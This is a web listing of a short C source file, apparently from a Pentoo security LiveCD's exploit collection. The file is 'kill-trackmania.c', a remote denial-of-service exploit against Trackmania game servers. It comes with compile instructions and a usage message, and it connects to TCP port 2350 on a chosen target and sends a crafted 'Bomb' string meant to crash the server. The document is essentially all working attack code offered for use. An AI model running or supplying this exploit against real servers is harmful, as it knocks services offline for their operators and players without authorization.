home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / games / trackmania_dos.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  1KB  |  61 lines

  1. /*
  2. * [kill-trackmania.c]
  3. * A remote DoS that affects the Trackmania game server
  4. *
  5. * by Scrap
  6. * webmaster@securiteinfo.com
  7. * http://www.securiteinfo.com
  8. *
  9. * gcc kill-trackmania.c -o kill-trackmania -O2
  10. *
  11. */
  12.  
  13. #include <netdb.h>
  14. #include <netinet/in.h>
  15. #include <sys/socket.h>
  16.  
  17. int main(int argc, char *argv[])
  18. {
  19. int sock;
  20. struct sockaddr_in sin;
  21. struct hostent *he;
  22. unsigned long start;
  23. char buffer[1024];
  24. unsigned long counter;
  25.  
  26. printf("\n [kill-trackmania.c] by Scrap / Securiteinfo.com\n");
  27.  
  28. if (argc<2)
  29.  
  30. {
  31. printf("Usage: %s target\n\n",argv[0]);
  32. exit(0);
  33. }
  34.  
  35. if ((he=gethostbyname(argv[1])) == NULL)
  36. {
  37. herror("gethostbyname");
  38. exit(0);
  39. }
  40.  
  41. start=inet_addr(argv[1]);
  42. counter=ntohl(start);
  43.  
  44. sock=socket(AF_INET, SOCK_STREAM, 0);
  45. bcopy(he->h_addr, (char *)&sin.sin_addr, he->h_length);
  46. sin.sin_family=AF_INET;
  47. sin.sin_port=htons(2350);
  48.  
  49. if (connect(sock, (struct sockaddr*)&sin, sizeof(sin))!=0)
  50. {
  51. perror("connect");
  52. exit(0);
  53. }
  54. printf("\n\t Sending Bomb... \n");
  55. send(sock, "Bomb from Securiteinfo.com\n\n",17,0);
  56. close(sock);
  57.  
  58. printf("\t Bomb sent...\n");
  59.  
  60. }
  61.